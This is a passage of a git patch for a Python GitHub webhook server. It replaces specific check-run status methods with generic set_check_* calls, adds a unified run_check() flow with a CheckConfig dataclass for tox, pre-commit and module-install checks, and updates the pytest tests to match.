mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio async def test_set_check_in_progress_pre_commit(self, check_run_handler: CheckRunHandler) -> None: @@ -203,40 +203,40 @@ async def test_set_check_success_pre_commit_no_output(self, check_run_handler: C mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, conclusion=SUCCESS_STR, output=None) @pytest.mark.asyncio - async def test_set_merge_check_queued(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to queued status.""" + async def test_set_check_queued_can_be_merged(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to queued status using generic method.""" output = {"title": "Merge check", "summary": "Merge summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_queued(output) + await check_run_handler.set_check_queued(name=CAN_BE_MERGED_STR, output=output) mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, status=QUEUED_STR, output=output) @pytest.mark.asyncio - async def test_set_merge_check_queued_no_output(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to queued status without output.""" + async def test_set_check_queued_can_be_merged_no_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to queued status without output using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_queued() + await check_run_handler.set_check_queued(name=CAN_BE_MERGED_STR) mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio - async def test_set_merge_check_in_progress(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to in progress status.""" + async def test_set_check_in_progress_can_be_merged(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to in progress status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_in_progress() + await check_run_handler.set_check_in_progress(name=CAN_BE_MERGED_STR) mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_merge_check_success(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to success status.""" + async def test_set_check_success_can_be_merged(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to success status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_success() - mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, conclusion=SUCCESS_STR) + await check_run_handler.set_check_success(name=CAN_BE_MERGED_STR) + mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, conclusion=SUCCESS_STR, output=None) @pytest.mark.asyncio - async def test_set_merge_check_failure(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to failure status.""" + async def test_set_check_failure_can_be_merged(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to failure status using generic method.""" output = {"title": "Merge failed", "summary": "Merge summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_failure(output) + await check_run_handler.set_check_failure(name=CAN_BE_MERGED_STR, output=output) mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, conclusion=FAILURE_STR, output=output) @pytest.mark.asyncio @@ -244,7 +244,7 @@ async def test_set_check_queued_container_build(self, check_run_handler: CheckRu """Test setting container build check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: await check_run_handler.set_check_queued(name=BUILD_CONTAINER_STR) - mock_set_status.assert_called_once_with(check_run=BUILD_CONTAINER_STR, status=QUEUED_STR) + mock_set_status.assert_called_once_with(check_run=BUILD_CONTAINER_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio async def test_set_check_in_progress_container_build(self, check_run_handler: CheckRunHandler) -> None: @@ -278,7 +278,7 @@ async def test_set_check_queued_python_module_install(self, check_run_handler: C """Test setting python module install check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: await check_run_handler.set_check_queued(name=PYTHON_MODULE_INSTALL_STR) - mock_set_status.assert_called_once_with(check_run=PYTHON_MODULE_INSTALL_STR, status=QUEUED_STR) + mock_set_status.assert_called_once_with(check_run=PYTHON_MODULE_INSTALL_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio async def test_set_check_in_progress_python_module_install(self, check_run_handler: CheckRunHandler) -> None: @@ -312,7 +312,7 @@ async def test_set_check_queued_conventional_title(self, check_run_handler: Chec """Test setting conventional title check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: await check_run_handler.set_check_queued(name=CONVENTIONAL_TITLE_STR) - mock_set_status.assert_called_once_with(check_run=CONVENTIONAL_TITLE_STR, status=QUEUED_STR) + mock_set_status.assert_called_once_with(check_run=CONVENTIONAL_TITLE_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio async def test_set_check_in_progress_conventional_title(self, check_run_handler: CheckRunHandler) -> None: @@ -342,28 +342,28 @@ async def test_set_check_failure_conventional_title(self, check_run_handler: Che ) @pytest.mark.asyncio - async def test_set_cherry_pick_in_progress(self, check_run_handler: CheckRunHandler) -> None: - """Test setting cherry pick check to in progress status.""" + async def test_set_check_in_progress_cherry_picked(self, check_run_handler: CheckRunHandler) -> None: + """Test setting cherry pick check to in progress status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_cherry_pick_in_progress() + await check_run_handler.set_check_in_progress(name=CHERRY_PICKED_LABEL_PREFIX) mock_set_status.assert_called_once_with(check_run=CHERRY_PICKED_LABEL_PREFIX, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_cherry_pick_success(self, check_run_handler: CheckRunHandler) -> None: - """Test setting cherry pick check to success status.""" + async def test_set_check_success_cherry_picked(self, check_run_handler: CheckRunHandler) -> None: + """Test setting cherry pick check to success status using generic method.""" output = {"title": "Cherry pick successful", "summary": "Cherry pick summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_cherry_pick_success(output) + await check_run_handler.set_check_success(name=CHERRY_PICKED_LABEL_PREFIX, output=output) mock_set_status.assert_called_once_with( check_run=CHERRY_PICKED_LABEL_PREFIX, conclusion=SUCCESS_STR, output=output ) @pytest.mark.asyncio - async def test_set_cherry_pick_failure(self, check_run_handler: CheckRunHandler) -> None: - """Test setting cherry pick check to failure status.""" + async def test_set_check_failure_cherry_picked(self, check_run_handler: CheckRunHandler) -> None: + """Test setting cherry pick check to failure status using generic method.""" output = {"title": "Cherry pick failed", "summary": "Cherry pick summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_cherry_pick_failure(output) + await check_run_handler.set_check_failure(name=CHERRY_PICKED_LABEL_PREFIX, output=output) mock_set_status.assert_called_once_with( check_run=CHERRY_PICKED_LABEL_PREFIX, conclusion=FAILURE_STR, output=output ) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 399a8e0e..40549de0 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -104,7 +104,7 @@ async def test_set_custom_check_queued(self, check_run_handler: CheckRunHandler) with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: await check_run_handler.set_check_queued(name=check_name) - mock_set_status.assert_called_once_with(check_run=check_name, status=QUEUED_STR) + mock_set_status.assert_called_once_with(check_run=check_name, status=QUEUED_STR, output=None) @pytest.mark.asyncio async def test_set_custom_check_in_progress(self, check_run_handler: CheckRunHandler) -> None: @@ -276,7 +276,7 @@ async def test_both_mandatory_and_optional_checks_are_queued( patch.object(pull_request_handler.owners_file_handler, "assign_reviewers", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_merge_check_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), diff --git a/webhook_server/tests/test_issue_comment_handler.py b/webhook_server/tests/test_issue_comment_handler.py index 57ddb941..3dad7667 100644 --- a/webhook_server/tests/test_issue_comment_handler.py +++ b/webhook_server/tests/test_issue_comment_handler.py @@ -494,7 +494,7 @@ async def test_user_commands_verified_add(self, issue_comment_handler: IssueComm issue_comment_handler.labels_handler, "_add_label", new_callable=AsyncMock ) as mock_add_label: with patch.object( - issue_comment_handler.check_run_handler, "set_verify_check_success", new_callable=AsyncMock + issue_comment_handler.check_run_handler, "set_check_success", new_callable=AsyncMock ) as mock_success: await issue_comment_handler.user_commands( pull_request=mock_pull_request, @@ -503,7 +503,7 @@ async def test_user_commands_verified_add(self, issue_comment_handler: IssueComm issue_comment_id=123, ) mock_add_label.assert_called_once_with(pull_request=mock_pull_request, label=VERIFIED_LABEL_STR) - mock_success.assert_called_once() + mock_success.assert_called_once_with(name=VERIFIED_LABEL_STR) mock_reaction.assert_called_once() @pytest.mark.asyncio @@ -516,7 +516,7 @@ async def test_user_commands_verified_remove(self, issue_comment_handler: IssueC issue_comment_handler.labels_handler, "_remove_label", new_callable=AsyncMock ) as mock_remove_label: with patch.object( - issue_comment_handler.check_run_handler, "set_verify_check_queued", new_callable=AsyncMock + issue_comment_handler.check_run_handler, "set_check_queued", new_callable=AsyncMock ) as mock_queued: await issue_comment_handler.user_commands( pull_request=mock_pull_request, @@ -525,7 +525,7 @@ async def test_user_commands_verified_remove(self, issue_comment_handler: IssueC issue_comment_id=123, ) mock_remove_label.assert_called_once_with(pull_request=mock_pull_request, label=VERIFIED_LABEL_STR) - mock_queued.assert_called_once() + mock_queued.assert_called_once_with(name=VERIFIED_LABEL_STR) mock_reaction.assert_called_once() @pytest.mark.asyncio diff --git a/webhook_server/tests/test_pull_request_handler.py b/webhook_server/tests/test_pull_request_handler.py index 1a8b81ad..ac21b661 100644 --- a/webhook_server/tests/test_pull_request_handler.py +++ b/webhook_server/tests/test_pull_request_handler.py @@ -110,15 +110,10 @@ def pull_request_handler(self, mock_github_webhook: Mock, mock_owners_file_handl handler.labels_handler.wip_or_hold_labels_exists = Mock(return_value=False) handler.check_run_handler = Mock() - handler.check_run_handler.set_verify_check_queued = AsyncMock() - handler.check_run_handler.set_verify_check_success = AsyncMock() - handler.check_run_handler.set_merge_check_in_progress = AsyncMock() - handler.check_run_handler.set_merge_check_success = AsyncMock() - handler.check_run_handler.set_merge_check_failure = AsyncMock() - handler.check_run_handler.set_merge_check_queued = AsyncMock() handler.check_run_handler.set_check_queued = AsyncMock() - handler.check_run_handler.set_run_pre_commit_check_queued = AsyncMock() - handler.check_run_handler.set_conventional_title_queued = AsyncMock() + handler.check_run_handler.set_check_in_progress = AsyncMock() + handler.check_run_handler.set_check_success = AsyncMock() + handler.check_run_handler.set_check_failure = AsyncMock() handler.runner_handler = Mock() handler.runner_handler.run_container_build = AsyncMock() @@ -326,10 +321,10 @@ async def test_process_pull_request_webhook_data_labeled_verified( pull_request_handler.hook_data["label"] = {"name": VERIFIED_LABEL_STR} with patch.object(pull_request_handler, "check_if_can_be_merged") as mock_check_merge: - with patch.object(pull_request_handler.check_run_handler, "set_verify_check_success") as mock_success: + with patch.object(pull_request_handler.check_run_handler, "set_check_success") as mock_success: await pull_request_handler.process_pull_request_webhook_data(mock_pull_request) mock_check_merge.assert_called_once_with(pull_request=mock_pull_request) - mock_success.assert_called_once() + mock_success.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_process_pull_request_webhook_data_unlabeled_verified( @@ -340,10 +335,10 @@ async def test_process_pull_request_webhook_data_unlabeled_verified( pull_request_handler.hook_data["label"] = {"name": VERIFIED_LABEL_STR} with patch.object(pull_request_handler, "check_if_can_be_merged") as mock_check_merge: - with patch.object(pull_request_handler.check_run_handler, "set_verify_check_queued") as mock_queued: + with patch.object(pull_request_handler.check_run_handler, "set_check_queued") as mock_queued: await pull_request_handler.process_pull_request_webhook_data(mock_pull_request) mock_check_merge.assert_called_once_with(pull_request=mock_pull_request) - mock_queued.assert_called_once() + mock_queued.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_set_wip_label_based_on_title_with_wip( @@ -619,12 +614,12 @@ async def test_process_verified_for_update_or_new_pull_request_auto_verified( ) -> None: """Test processing verified for update or new pull request for auto-verified user.""" with patch.object(pull_request_handler.labels_handler, "_add_label", new_callable=AsyncMock) as mock_add_label: - with patch.object(pull_request_handler.check_run_handler, "set_verify_check_success") as mock_success: + with patch.object(pull_request_handler.check_run_handler, "set_check_success") as mock_success: await pull_request_handler._process_verified_for_update_or_new_pull_request( pull_request=mock_pull_request ) mock_add_label.assert_called_once_with(pull_request=mock_pull_request, label=VERIFIED_LABEL_STR) - mock_success.assert_called_once() + mock_success.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_process_verified_for_update_or_new_pull_request_not_auto_verified( @@ -634,7 +629,7 @@ async def test_process_verified_for_update_or_new_pull_request_not_auto_verified pull_request_handler.github_webhook.parent_committer = "other-user" with patch.object(pull_request_handler.labels_handler, "_add_label", new_callable=AsyncMock) as mock_add_label: - with patch.object(pull_request_handler.check_run_handler, "set_verify_check_success") as mock_success: + with patch.object(pull_request_handler.check_run_handler, "set_check_success") as mock_success: await pull_request_handler._process_verified_for_update_or_new_pull_request( pull_request=mock_pull_request ) @@ -655,12 +650,12 @@ async def test_process_verified_cherry_picked_pr_auto_verify_enabled( with ( patch.object(pull_request_handler.github_webhook, "auto_verify_cherry_picked_prs", True), patch.object(pull_request_handler.labels_handler, "_add_label") as mock_add_label, - patch.object(pull_request_handler.check_run_handler, "set_verify_check_success") as mock_set_success, + patch.object(pull_request_handler.check_run_handler, "set_check_success") as mock_set_success, ): await pull_request_handler._process_verified_for_update_or_new_pull_request(mock_pull_request) # Should auto-verify since auto_verify_cherry_picked_prs is True and user is in auto_verified list mock_add_label.assert_called_once() - mock_set_success.assert_called_once() + mock_set_success.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_process_verified_cherry_picked_pr_auto_verify_disabled( @@ -676,12 +671,12 @@ async def test_process_verified_cherry_picked_pr_auto_verify_disabled( with ( patch.object(pull_request_handler.github_webhook, "auto_verify_cherry_picked_prs", False), patch.object(pull_request_handler.labels_handler, "_add_label") as mock_add_label, - patch.object(pull_request_handler.check_run_handler, "set_verify_check_queued") as mock_set_queued, + patch.object(pull_request_handler.check_run_handler, "set_check_queued") as mock_set_queued, ): await pull_request_handler._process_verified_for_update_or_new_pull_request(mock_pull_request) # Should NOT auto-verify since auto_verify_cherry_picked_prs is False mock_add_label.assert_not_called() - mock_set_queued.assert_called_once() + mock_set_queued.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_add_pull_request_owner_as_assingee( @@ -737,7 +732,7 @@ async def test_check_if_can_be_merged_approved( _owners_data_coroutine(), ), patch.object(pull_request_handler.github_webhook, "minimum_lgtm", 0), - patch.object(pull_request_handler.check_run_handler, "set_merge_check_in_progress", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_in_progress", new=AsyncMock()), patch.object( pull_request_handler.check_run_handler, "required_check_in_progress", @@ -1663,13 +1658,13 @@ async def test_process_opened_setup_task_failure( with ( patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_merge_check_queued", new=AsyncMock()), patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_run_pre_commit_check_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_conventional_title_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler.runner_handler, "run_tox", new=AsyncMock()), patch.object(pull_request_handler.runner_handler, "run_pre_commit", new=AsyncMock()), patch.object(pull_request_handler.runner_handler, "run_install_python_module", new=AsyncMock()), @@ -1693,9 +1688,9 @@ async def test_process_opened_ci_task_failure( with ( patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_merge_check_queued", new=AsyncMock()), patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_run_pre_commit_check_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), diff --git a/webhook_server/tests/test_runner_handler.py b/webhook_server/tests/test_runner_handler.py index cdf0b28c..a3f8a73f 100644 --- a/webhook_server/tests/test_runner_handler.py +++ b/webhook_server/tests/test_runner_handler.py @@ -655,8 +655,8 @@ async def test_cherry_pick_prepare_failure(self, runner_handler: RunnerHandler, """Test cherry_pick when repository preparation fails.""" runner_handler.github_webhook.pypi = {"token": "dummy"} with patch.object(runner_handler, "is_branch_exists", new=AsyncMock(return_value=Mock())): - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -672,8 +672,8 @@ async def test_cherry_pick_command_failure(self, runner_handler: RunnerHandler, """Test cherry_pick when git command fails.""" runner_handler.github_webhook.pypi = {"token": "dummy"} with patch.object(runner_handler, "is_branch_exists", new=AsyncMock(return_value=Mock())): - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -693,8 +693,8 @@ async def test_cherry_pick_success(self, runner_handler: RunnerHandler, mock_pul """Test cherry_pick with successful execution.""" runner_handler.github_webhook.pypi = {"token": "dummy"} with patch.object(runner_handler, "is_branch_exists", new=AsyncMock(return_value=Mock())): - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_success") as mock_set_success: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_success") as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -902,8 +902,8 @@ async def test_run_build_container_with_command_args(self, runner_handler, mock_ async def test_cherry_pick_manual_needed(self, runner_handler, mock_pull_request): runner_handler.github_webhook.pypi = {"token": "dummy"} with patch.object(runner_handler, "is_branch_exists", new=AsyncMock(return_value=Mock())): - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( From 1f9d61a7b3bb2a503f43467aa9e227624ed052d3 Mon Sep 17 00:00:00 2001 From: rnetser Date: Mon, 12 Jan 2026 21:37:05 +0200 Subject: [PATCH 23/33] refactor: unify custom and built-in check execution into single run_check flow - Add CheckConfig dataclass for unified check configuration - Create unified run_check() method for all command-based checks - Refactor run_tox(), run_pre_commit(), run_install_python_module() to use run_check() - Refactor run_custom_check() to use run_check() --- .../libs/handlers/pull_request_handler.py | 17 +- .../libs/handlers/runner_handler.py | 199 +++++++---------- .../tests/test_custom_check_runs.py | 6 + webhook_server/tests/test_runner_handler.py | 205 +++++++++++++++++- 4 files changed, 298 insertions(+), 129 deletions(-) diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index bfaec1a3..33c78a19 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -631,23 +631,14 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq ) setup_tasks.append(self.label_pull_request_by_merge_state(pull_request=pull_request)) setup_tasks.append(self.check_run_handler.set_check_queued(name=CAN_BE_MERGED_STR)) + setup_tasks.append(self.check_run_handler.set_check_queued(name=TOX_STR)) + setup_tasks.append(self.check_run_handler.set_check_queued(name=PRE_COMMIT_STR)) + setup_tasks.append(self.check_run_handler.set_check_queued(name=PYTHON_MODULE_INSTALL_STR)) + setup_tasks.append(self.check_run_handler.set_check_queued(name=BUILD_CONTAINER_STR)) setup_tasks.append(self._process_verified_for_update_or_new_pull_request(pull_request=pull_request)) setup_tasks.append(self.labels_handler.add_size_label(pull_request=pull_request)) setup_tasks.append(self.add_pull_request_owner_as_assingee(pull_request=pull_request)) - # Queue built-in check runs if configured - if self.github_webhook.tox: - setup_tasks.append(self.check_run_handler.set_check_queued(name=TOX_STR)) - - if self.github_webhook.pre_commit: - setup_tasks.append(self.check_run_handler.set_check_queued(name=PRE_COMMIT_STR)) - - if self.github_webhook.pypi: - setup_tasks.append(self.check_run_handler.set_check_queued(name=PYTHON_MODULE_INSTALL_STR)) - - if self.github_webhook.build_and_push_container: - setup_tasks.append(self.check_run_handler.set_check_queued(name=BUILD_CONTAINER_STR)) - if self.github_webhook.conventional_title: setup_tasks.append(self.check_run_handler.set_check_queued(name=CONVENTIONAL_TITLE_STR)) diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 0d0d6204..a5f714c9 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -4,6 +4,7 @@ import shutil from asyncio import Task from collections.abc import AsyncGenerator, Callable, Coroutine +from dataclasses import dataclass from functools import partial from typing import TYPE_CHECKING, Any @@ -31,6 +32,24 @@ from webhook_server.libs.github_api import GithubWebhook +@dataclass(frozen=True, slots=True) +class CheckConfig: + """Configuration for a check run. + + Attributes: + name: The name of the check run (e.g., "tox", "pre-commit", or custom check name). + command: The command template to execute. Can contain {worktree_path} placeholder. + title: The display title for the check run output. + use_cwd: If True, execute command with cwd set to worktree_path. + If False, command should include worktree_path in args. + """ + + name: str + command: str + title: str + use_cwd: bool = False + + class RunnerHandler: def __init__(self, github_webhook: "GithubWebhook", owners_file_handler: OwnersFileHandler | None = None): self.github_webhook = github_webhook @@ -170,87 +189,86 @@ async def run_podman_command(self, command: str, redact_secrets: list[str] | Non return rc, out, err - async def run_tox(self, pull_request: PullRequest) -> None: - if not self.github_webhook.tox: - self.logger.debug(f"{self.log_prefix} Tox not configured for this repository") - return + async def run_check(self, pull_request: PullRequest, check_config: CheckConfig) -> None: + """Unified check execution method for both built-in and custom checks. - if await self.check_run_handler.is_check_run_in_progress(check_run=TOX_STR): - self.logger.debug(f"{self.log_prefix} Check run is in progress, re-running {TOX_STR}.") + This method handles the common lifecycle for all command-based checks: + 1. Set check to in_progress + 2. Checkout worktree + 3. Execute command + 4. Report success or failure - python_ver = ( - f"--python={self.github_webhook.tox_python_version}" if self.github_webhook.tox_python_version else "" - ) - _tox_tests = self.github_webhook.tox.get(pull_request.base.ref, "") + Args: + pull_request: The pull request to run the check on. + check_config: Configuration for the check (name, command, title, use_cwd). + """ + if await self.check_run_handler.is_check_run_in_progress(check_run=check_config.name): + self.logger.debug(f"{self.log_prefix} Check run is in progress, re-running {check_config.name}.") - await self.check_run_handler.set_check_in_progress(name=TOX_STR) + self.logger.info(f"{self.log_prefix} Starting check: {check_config.name}") + await self.check_run_handler.set_check_in_progress(name=check_config.name) async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): - # Build tox command with worktree path - cmd = f"uvx {python_ver} {TOX_STR} --workdir {worktree_path} --root {worktree_path} -c {worktree_path}" - if _tox_tests and _tox_tests != "all": - tests = _tox_tests.replace(" ", "") - cmd += f" -e {tests}" - self.logger.debug(f"{self.log_prefix} Tox command to run: {cmd}") - output: dict[str, Any] = { - "title": "Tox", + "title": check_config.title, "summary": "", "text": None, } + if not success: - self.logger.error(f"{self.log_prefix} Repository preparation failed for tox") + self.logger.error(f"{self.log_prefix} Repository preparation failed for {check_config.name}") output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_check_failure(name=TOX_STR, output=output) + return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) + + # Build command with worktree path substitution + cmd = check_config.command.format(worktree_path=worktree_path) + self.logger.debug(f"{self.log_prefix} {check_config.name} command to run: {cmd}") + # Execute command - use cwd if configured, otherwise command should include paths + cwd = worktree_path if check_config.use_cwd else None rc, out, err = await run_command( command=cmd, log_prefix=self.log_prefix, mask_sensitive=self.github_webhook.mask_sensitive, + cwd=cwd, ) output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) if rc: - return await self.check_run_handler.set_check_success(name=TOX_STR, output=output) + self.logger.info(f"{self.log_prefix} Check {check_config.name} completed successfully") + return await self.check_run_handler.set_check_success(name=check_config.name, output=output) else: - return await self.check_run_handler.set_check_failure(name=TOX_STR, output=output) + self.logger.info(f"{self.log_prefix} Check {check_config.name} failed") + return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) - async def run_pre_commit(self, pull_request: PullRequest) -> None: - if not self.github_webhook.pre_commit: - self.logger.debug(f"{self.log_prefix} Pre-commit not configured for this repository") + async def run_tox(self, pull_request: PullRequest) -> None: + if not self.github_webhook.tox: + self.logger.debug(f"{self.log_prefix} Tox not configured for this repository") return - if await self.check_run_handler.is_check_run_in_progress(check_run=PRE_COMMIT_STR): - self.logger.debug(f"{self.log_prefix} Check run is in progress, re-running {PRE_COMMIT_STR}.") - - await self.check_run_handler.set_check_in_progress(name=PRE_COMMIT_STR) - - async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): - cmd = f" uvx --directory {worktree_path} {PREK_STR} run --all-files" + python_ver = ( + f"--python={self.github_webhook.tox_python_version}" if self.github_webhook.tox_python_version else "" + ) + _tox_tests = self.github_webhook.tox.get(pull_request.base.ref, "") - output: dict[str, Any] = { - "title": "Pre-Commit", - "summary": "", - "text": None, - } - if not success: - self.logger.error(f"{self.log_prefix} Repository preparation failed for pre-commit") - output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_check_failure(name=PRE_COMMIT_STR, output=output) + # Build tox command with {worktree_path} placeholder + cmd = f"uvx {python_ver} {TOX_STR} --workdir {{worktree_path}} --root {{worktree_path}} -c {{worktree_path}}" + if _tox_tests and _tox_tests != "all": + tests = _tox_tests.replace(" ", "") + cmd += f" -e {tests}" - rc, out, err = await run_command( - command=cmd, - log_prefix=self.log_prefix, - mask_sensitive=self.github_webhook.mask_sensitive, - ) + check_config = CheckConfig(name=TOX_STR, command=cmd, title="Tox") + await self.run_check(pull_request=pull_request, check_config=check_config) - output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) + async def run_pre_commit(self, pull_request: PullRequest) -> None: + if not self.github_webhook.pre_commit: + self.logger.debug(f"{self.log_prefix} Pre-commit not configured for this repository") + return - if rc: - return await self.check_run_handler.set_check_success(name=PRE_COMMIT_STR, output=output) - else: - return await self.check_run_handler.set_check_failure(name=PRE_COMMIT_STR, output=output) + cmd = f"uvx --directory {{worktree_path}} {PREK_STR} run --all-files" + check_config = CheckConfig(name=PRE_COMMIT_STR, command=cmd, title="Pre-Commit") + await self.run_check(pull_request=pull_request, check_config=check_config) async def run_build_container( self, @@ -392,33 +410,9 @@ async def run_install_python_module(self, pull_request: PullRequest) -> None: if not self.github_webhook.pypi: return - if await self.check_run_handler.is_check_run_in_progress(check_run=PYTHON_MODULE_INSTALL_STR): - self.logger.info(f"{self.log_prefix} Check run is in progress, re-running {PYTHON_MODULE_INSTALL_STR}.") - - self.logger.info(f"{self.log_prefix} Installing python module") - await self.check_run_handler.set_check_in_progress(name=PYTHON_MODULE_INSTALL_STR) - async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): - output: dict[str, Any] = { - "title": "Python module installation", - "summary": "", - "text": None, - } - if 